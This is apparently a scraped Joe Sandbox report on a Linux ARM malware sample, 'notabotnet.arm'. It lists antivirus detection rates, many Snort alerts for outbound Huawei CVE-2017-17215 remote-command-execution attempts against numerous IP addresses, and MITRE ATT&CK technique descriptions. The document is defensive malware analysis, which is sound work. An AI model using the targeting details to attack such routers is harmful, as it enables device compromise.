Arguments:	n/a
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: notabotnet.arm	Virustotal: Detection: 54%	Perma Link
Source: notabotnet.arm	Metadefender: Detection: 40%	Perma Link
Source: notabotnet.arm	ReversingLabs: Detection: 65%

Source: Traffic	Snort IDS: 2012811 ET DNS Query to a .tk domain - Likely Hostile 192.168.2.23:53706 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57952 -> 156.245.55.10:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32874 -> 156.254.90.136:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53706 -> 156.224.9.206:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43306 -> 156.227.241.65:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40938 -> 156.241.91.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52950 -> 156.247.17.68:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48736 -> 156.250.66.246:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35050 -> 156.244.84.167:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60110 -> 156.241.84.71:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54474 -> 156.250.105.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36324 -> 156.250.127.75:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42952 -> 156.226.33.59:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32834 -> 156.252.26.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47910 -> 156.224.21.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53374 -> 156.244.69.106:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33800 -> 156.250.4.21:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46166 -> 156.241.83.248:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48544 -> 156.244.72.51:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51524 -> 156.225.153.226:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58798 -> 156.240.110.112:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35490 -> 156.227.247.99:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37336 -> 156.241.67.223:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57800 -> 156.235.104.85:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42634 -> 156.241.89.44:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33396 -> 156.226.75.228:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55152 -> 156.250.69.146:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40872 -> 156.245.33.72:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35304 -> 156.241.99.17:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50026 -> 156.244.93.42:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53854 -> 156.224.15.4:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37258 -> 156.224.22.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38052 -> 156.235.106.232:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55966 -> 156.225.145.141:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36334 -> 156.235.104.47:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56600 -> 156.254.91.43:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54504 -> 156.245.33.139:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35582 -> 156.244.101.196:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49334 -> 197.234.43.151:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58120 -> 156.235.105.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38204 -> 156.244.125.1:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42230 -> 156.241.116.44:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49466 -> 156.226.72.168:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52572 -> 156.230.25.40:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43388 -> 156.254.111.150:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41258 -> 156.241.90.49:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41006 -> 156.244.74.195:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52936 -> 156.224.19.222:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39034 -> 156.254.34.115:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47264 -> 156.238.60.21:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57436 -> 156.250.100.84:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43916 -> 156.254.109.87:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42834 -> 156.226.33.128:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59962 -> 156.245.36.50:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44758 -> 156.238.15.204:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50732 -> 156.250.113.0:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53584 -> 156.245.60.140:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34282 -> 156.230.19.35:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49526 -> 156.250.124.11:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36504 -> 156.250.102.105:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46710 -> 156.241.103.120:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52738 -> 156.250.28.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34130 -> 197.246.248.129:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46054 -> 156.250.94.104:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57262 -> 156.241.81.20:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53964 -> 156.241.114.82:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44224 -> 156.250.15.224:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37664 -> 156.224.31.170:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36882 -> 156.225.148.36:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58034 -> 156.226.72.217:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33464 -> 197.238.136.194:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47958 -> 156.245.34.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39928 -> 156.244.67.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54090 -> 156.226.105.68:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35974 -> 156.241.107.104:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38456 -> 156.241.8.155:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34776 -> 156.244.90.79:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56354 -> 156.241.125.136:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41324 -> 156.250.70.128:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42074 -> 156.226.35.147:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47680 -> 156.241.118.232:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58024 -> 156.226.76.127:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38016 -> 156.235.104.136:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60086 -> 156.235.111.197:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48390 -> 156.245.36.181:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38052 -> 156.226.111.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51482 -> 156.240.104.170:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60782 -> 156.245.56.125:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51636 -> 156.235.101.98:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32964 -> 156.244.103.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34314 -> 156.250.84.216:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39534 -> 156.254.68.66:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46128 -> 156.225.156.155:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42840 -> 156.226.30.161:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57096 -> 156.226.69.251:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45650 -> 156.241.74.59:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41678 -> 156.241.65.128:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34684 -> 156.250.19.190:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33420 -> 156.250.115.240:37215

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 124.119.8.101
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 34.150.65.145
Source: unknown	TCP traffic detected without corresponding DNS query: 39.126.72.102
Source: unknown	TCP traffic detected without corresponding DNS query: 176.52.77.213
Source: unknown	TCP traffic detected without corresponding DNS query: 196.101.120.24
Source: unknown	TCP traffic detected without corresponding DNS query: 85.200.16.252
Source: unknown	TCP traffic detected without corresponding DNS query: 118.157.130.153
Source: unknown	TCP traffic detected without corresponding DNS query: 1.104.124.159
Source: unknown	TCP traffic detected without corresponding DNS query: 193.221.73.153
Source: unknown	TCP traffic detected without corresponding DNS query: 83.75.48.135
Source: unknown	TCP traffic detected without corresponding DNS query: 68.58.230.35
Source: unknown	TCP traffic detected without corresponding DNS query: 191.175.112.98
Source: unknown	TCP traffic detected without corresponding DNS query: 72.203.221.48
Source: unknown	TCP traffic detected without corresponding DNS query: 141.144.119.68
Source: unknown	TCP traffic detected without corresponding DNS query: 80.130.78.31
Source: unknown	TCP traffic detected without corresponding DNS query: 37.42.75.78
Source: unknown	TCP traffic detected without corresponding DNS query: 152.253.49.143
Source: unknown	TCP traffic detected without corresponding DNS query: 151.108.102.79
Source: unknown	TCP traffic detected without corresponding DNS query: 119.197.74.232
Source: unknown	TCP traffic detected without corresponding DNS query: 167.86.116.219
Source: unknown	TCP traffic detected without corresponding DNS query: 125.101.213.139
Source: unknown	TCP traffic detected without corresponding DNS query: 139.203.154.229
Source: unknown	TCP traffic detected without corresponding DNS query: 220.65.40.59
Source: unknown	TCP traffic detected without corresponding DNS query: 58.122.40.186
Source: unknown	TCP traffic detected without corresponding DNS query: 202.197.101.152
Source: unknown	TCP traffic detected without corresponding DNS query: 218.13.20.13
Source: unknown	TCP traffic detected without corresponding DNS query: 58.219.19.82
Source: unknown	TCP traffic detected without corresponding DNS query: 218.103.83.111
Source: unknown	TCP traffic detected without corresponding DNS query: 109.29.148.5
Source: unknown	TCP traffic detected without corresponding DNS query: 198.171.228.170
Source: unknown	TCP traffic detected without corresponding DNS query: 9.4.235.154
Source: unknown	TCP traffic detected without corresponding DNS query: 69.223.143.26
Source: unknown	TCP traffic detected without corresponding DNS query: 220.193.54.225
Source: unknown	TCP traffic detected without corresponding DNS query: 161.8.30.35
Source: unknown	TCP traffic detected without corresponding DNS query: 106.6.122.153
Source: unknown	TCP traffic detected without corresponding DNS query: 118.192.104.215
Source: unknown	TCP traffic detected without corresponding DNS query: 209.108.91.159
Source: unknown	TCP traffic detected without corresponding DNS query: 121.120.91.176
Source: unknown	TCP traffic detected without corresponding DNS query: 124.38.3.57
Source: unknown	TCP traffic detected without corresponding DNS query: 86.32.135.29
Source: unknown	TCP traffic detected without corresponding DNS query: 98.55.142.82
Source: unknown	TCP traffic detected without corresponding DNS query: 1.161.18.100
Source: unknown	TCP traffic detected without corresponding DNS query: 181.240.195.90
Source: unknown	TCP traffic detected without corresponding DNS query: 128.20.33.158
Source: unknown	TCP traffic detected without corresponding DNS query: 79.162.234.61
Source: unknown	TCP traffic detected without corresponding DNS query: 172.131.22.119
Source: unknown	TCP traffic detected without corresponding DNS query: 169.225.116.93
Source: unknown	TCP traffic detected without corresponding DNS query: 122.174.152.85

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report notabotnet.arm

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: notabotnet.arm PID: 6236, Parent PID: 6127

General

Analysis Process: notabotnet.arm PID: 6238, Parent PID: 6236

General

Analysis Process: notabotnet.arm PID: 6239, Parent PID: 6236

General

Analysis Process: notabotnet.arm PID: 6241, Parent PID: 6239

General

Analysis Process: notabotnet.arm PID: 6243, Parent PID: 6239

General

Analysis Process: notabotnet.arm PID: 6246, Parent PID: 6239

General

Analysis Process: notabotnet.arm PID: 6248, Parent PID: 6239

General

Analysis Process: notabotnet.arm PID: 6251, Parent PID: 6239

General

Linux Analysis Report
notabotnet.arm